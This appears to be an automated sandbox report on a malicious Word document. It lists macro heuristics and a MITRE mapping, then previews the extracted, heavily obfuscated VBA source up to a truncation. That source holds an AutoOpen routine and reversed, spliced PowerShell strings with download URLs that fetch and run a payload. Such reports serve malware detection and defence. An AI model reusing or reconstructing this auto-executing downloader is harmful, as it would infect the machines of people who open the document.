MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing VBA macros. The critical OLE_VBA_SHELL heuristic indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands or download and run additional payloads. The Autoopen macro is also present, suggesting an attempt to automatically execute malicious code upon opening the document. The specific functionality of the obfuscated VBA code is difficult to ascertain, but the presence of Shell() strongly suggests a downloader or dropper.
Heuristics 5
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 129659 bytes |
SHA-256: 229104dc868c6bb4a6e678f3f2f13ebed9098cf81764e1c2366e66026bbd0732 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "MjtwMfazQA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub dFnKn(kcZTz)
PztzO = ImTmM
TRnqS = dfOSKz + CDbl(82980 - PSXABz - JiPRF + CDbl(40334)) - 91429 - CDbl(60760)
jrtbrW = uKwpS
znuGQ = 89482
End Sub
Sub PTkMuK(YYNHiA)
lSGPGs = cqEKz
lbXwE = pPNGj + CDbl(64211 - nuVwoH - XMVnr + CDbl(18004)) - 3264 - CDbl(79893)
dfCvIz = BOChKU
LaiaF = 11321
tQDhi = FkHvz
ckbim = qzUil + CDbl(49963 - CoJMJ - wjijPz + CDbl(27404)) - 58702 - CDbl(46946)
QHHhJr = kwvCPI
KidZbk = 91994
wMCQz = LiXtR
Dbisz = AZQNj + CDbl(63792 - sZkWoC - vtIvit + CDbl(88383)) - 74911 - CDbl(46950)
YJzCj = AlbQkW
ljVpF = 52847
End Sub
Sub IiqiKK(jNEQN)
zoWjY = pklNl
ZmXOJ = oLzIp + CDbl(37682 - rYQRX - AWVHw + CDbl(19330)) - 73332 - CDbl(32587)
lqXVEa = YvUEBc
DqzCQ = 63454
ZTNqlj = ibEXm
ZHkTPs = AVwTV + CDbl(44808 - RRwHV - MMWKiS + CDbl(88771)) - 64396 - CDbl(87996)
PjOlc = FjnXaj
XtVOM = 74608
End Sub
Sub Autoopen()
On Error Resume Next
izBCi = kaozw
GAjmH = sVLQTw + CDbl(17331 - IzRJDh - jpSfLH + CDbl(28972)) - 21855 - CDbl(60901)
qZCdDq = NdURC
dCtBE = 72084
zbFMQii (ftQda + DSBvnYXniSDYD + OHvdc)
fZdZG = FJKvaN
dbpcSG = ZWLwI + CDbl(47092 - sbzSz - IWozdn + CDbl(2639)) - 99412 - CDbl(54231)
jSCAwj = idWSj
NjQiw = 25248
End Sub
Sub LdbWUH(pzfFKz)
cdFXG = CVpcY
NbSNE = mumFr + CDbl(62673 - pwjfzR - mklCK + CDbl(20404)) - 80426 - CDbl(8655)
qnwzwt = WlaAX
lWmZr = 34038
SqrKQ = dqPDuO
PwSsij = lNtXRk + CDbl(67474 - OQlTYs - zwnhK + CDbl(30131)) - 40966 - CDbl(12887)
jlpnpE = qIVaFw
tfDfb = 98721
bqpCw = FBYjP
Lrfuv = KXuLC + CDbl(33705 - DcuBH - tHQEuA + CDbl(71128)) - 85520 - CDbl(66991)
pjpLwl = OlHVRc
QoYut = 86488
End Sub
Sub zRvWz(mkuKQb)
FbMGJR = fQzOb
toGcqz = dqRuoz + CDbl(81913 - dqzEqs - ocRlb + CDbl(85809)) - 59500 - CDbl(65745)
juTBz = SURlFP
SRKbK = 4244
End Sub
Attribute VB_Name = "CJlmbAdKEXz"
Sub IANufo(zYcmFn)
iKAbA = cHOWJh
zAHPuo = HJEWi + CDbl(73833 - CCaWj - YWTJcW + CDbl(29479)) - 41781 - CDbl(373)
qlzOuw = MsRjv
FdwOP = 49570
End Sub
Function DSBvnYXniSDYD()
On Error Resume Next
ozciC = jznXYl
YNlhY = ElNiP + CDbl(36609 - BOjjIA - uzqIPL + CDbl(37778)) - 34676 - CDbl(35830)
Usuow = sPpqVU
VNPZZS = 33858
hnZIY = WwkKW
dEdPD = PwhnmT + CDbl(6116 - CDOrZ - uhTmt + CDbl(14422)) - 6841 - CDbl(90486)
UjsDYb = uoVZj
suBFE = 24898
ZVEzYij = ZHhJP("%Ll0,k0)'x'+]31[dIlLEhS$+]1[DiLLeHs$ ( &|)93]rAhCnz", 74930 + 3 - 74930, 74930 + 42 - 74930)
TjtkM = vlqWw
UYNDtQ = kpIaVA + CDbl(51481 - oZlnCq - GkqHrL + CDbl(60301)) - 54007 - CDbl(6950)
ZtOpi = HpZcZK
XklfG = 22186
Wruqaq = fsboWw
btCzh = wUqPw + CDbl(53493 - anVnV - Dukmi + CDbl(53174)) - 8642 - CDbl(40417)
uFIkbB = tQIYBk
Aiswi = 37913
PXODrqvnmz = ZHhJP("4zziVVadjQ+djQrtnicalleidj'+'Q+djQzarg/'+'/djQ+djQ:ptth xGdjQ+djQS =djQ+djQ djQ+djQXdjQ+djQCDAUIG;'+'djQ+djQ)3djQ+djQ312'+'82 ,0000djQ+djQ'+'1(txendjQ+djQ.djQ+djQdsadaVS", 10227 + 3 - 10227, 10227 + 161 - 10227)
WnSDuT = GYYdlI
lHNAK = uFiwRS + CDbl(86013 - HldaBv - Rphjh + CDbl(70599)) - 73970 - CDbl(84084)
vQccPX = zTVzRI
lcbHz = 74662
fICQY = DuzKS
qYYavc = jkGNN + CDbl(33873 - VuKLP - WOjYN + CDbl(61089)) - 61830 - CDbl(13251)
Qwazdt = kdNsZI
YuozAm = 16190
XJDwXMQEPaL = ZHhJP("2PjetsydjQ+djQS )xGStcdjQ+djQejdjQ+djQbo-djQ+djQxGS+djQ+djQxd'+'jQ+djQGSwxGS+xGSenxGS(. =djQ+djQ U'+'YYUIG;modnar )djQ+djQxdjQ+djQGdjQ+djQStxGS+xGScdjQ+djQejbo-wxGdjQ+djQS+djQ+djQxdjQ+djQ3uKn", 90077 + 5 - 90077, 90077 + 184 - 90077)
ouGYcp = NPvtp
ImQoi = KhzXl + CDbl(27432 - KdYjfU - hKfqFR + CDbl(12078)) - 68647 - CDbl(30515)
wjSTQI = LWMzC
XVJBiX = 78045
abTBtz = OtcLG
WrKnAa = rZoDvo + CDbl(25653 - IvFDQ - TIimUG + CDbl(8706)) - 12647 - CDbl(26476)
mzGZz = ClTKr
nQFEm = 22635
GoTzuDwBL = ZHhJP("kQbQth@/B1hadjQ+djQ/mocdjQ+djQ.shcbid'+'jQ+djQ//:'+'ptdjQ+djQthdjQ+djQ@/q7MLI/ta.g-h//:pdjQ+djQtth@/djQ+djQ6djQ+djQ9djQ+djQqpdjQ+djQdd
... (truncated)
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